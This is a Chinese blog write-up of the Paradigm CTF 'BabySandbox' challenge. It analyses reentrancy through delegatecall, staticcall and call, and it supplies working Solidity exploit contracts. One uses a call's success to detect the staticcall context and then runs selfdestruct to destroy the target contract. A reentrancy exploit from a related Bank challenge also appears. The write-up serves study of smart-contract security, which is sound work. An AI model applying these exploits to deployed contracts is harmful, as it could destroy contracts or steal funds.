Paradigm CTF-StaticCall

  • bixia1994
  • 更新于 2021-07-05 21:09
  • 阅读 4214

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

Paradigm CTF-StaticCall

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目介绍:

image20210705200543555.png

简单来讲,就是将合约babysandbox销毁掉,从而满足:extcodesize(sload(sandbox.slot)==0这一条件。:fish:

合约分析:

本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。

  • setup合约:给出一个判据,即extcodesize(sload(sandbox.slot)==0,来判断是否完成挑战
  • babysandbox合约:只有一个方法,run(address),这个方法有如下特点:

    :triangular_flag_on_post:没有nonReentrancy修饰符,可以重进入

    :triangular_flag_on_post:合约中存在delegateCall,staticCall,call,且合约的主要逻辑也是通过delegateCall,staticCall,call来实现的

逻辑分析:

这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。

远程调用位点 限制 状态改变
delegatecall(code) msg.sender==address(this) 0=>revert,1=>return
staticcall(address()) NA 0=>revert
call(address()) NA 0=>codecopy,1=>return

:fast_forward:从前向后分析:

简单看,我们的外部合约通过调用exploit()方法,调用babysandbox.run(code)方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender是code合约地址,判断为否。然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用babysandbox.run(code)方法。此时需注意,由于是重进入,故此时的msg.senderaddress(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。在delegatecall(code)逻辑中,实际上是调用调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁babysandbox合约。

st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))

st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert

image20210706094330303.png

:cat:注意点1:对于call调用的参数理解

call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
=> 
gas 数量= 0x4000
目标地址: babysandbox合约地址
参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata
返回值拷贝0

结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。

:cat:注意点2:对于delegatecall调用的理解

由于在执行code.fallback()时,是在delegatecall的上下文环境下执行。故需要注意delegatecall的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。

:fast_forward:整理成调用栈

故我们将上述流程图,整理成调用栈为:

code.exploit()
    ->babysandbox.run(code)
        ->babysandbox.staticcall(address(this))
            ->babysandbox.run(code)
                ->babysandbox.delegatecall(code)
                    ->code.fallback()
                        return //满足staticcall的要求,不能改变任何地址,合约的状态
        ->babysandbox.call(address(this))
            ->babysandbox.run(code)
                ->babysandbox.delegatecall(code)
                    ->code.fallback()
                        selfdestruct //满足题目要求,让babysandbox合约自毁

此时,我们发现问题的关键在于code.fallback()方法,其需要在staticcall和call中执行不同的逻辑。我们可以写出如下的伪代码:

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE1 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{

        if (something) {
            return;
        } else {
            selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}

问题简化:

此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用?

当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法:

思路1:全局变量

使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如Paradigm CTF-银行中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在staticcall的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。

uint reentry = 1;
function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;

    }

思路2:Gas数量

根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行staticcall再执行call,故如果我们通过判断gasleft(),gas量多的为第一次执行,即staticcall,gas量少的为第二次执行,即call

fallback() external payable{

    if (gasleft() > _value) {
        return;
    } else {
        selfdestruct(tx.origin);
    }
}

但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在staticcall还是call,它每次调用的gas总量都是0x4000.

思路3:staticcall与call本质区别

通过EIP-214得知,staticcall的本质是严禁修改任何地址,合约的状态,即不允许使用create,create2,LOG0-4,sstore,selfdestruct等OPCODE以及ETH的转账。而call则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。

$$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\ $$

如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE3 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        bool flag;
        assembly{
            let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址
            flag := call(gas(),code2_addr,0,0,0,0,0)
        }
        if (!flag) {
            return;
        } else {
            selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}
contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5
    fallback() external payable{
        selfdestruct(tx.origin);
    }
}
点赞 2
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code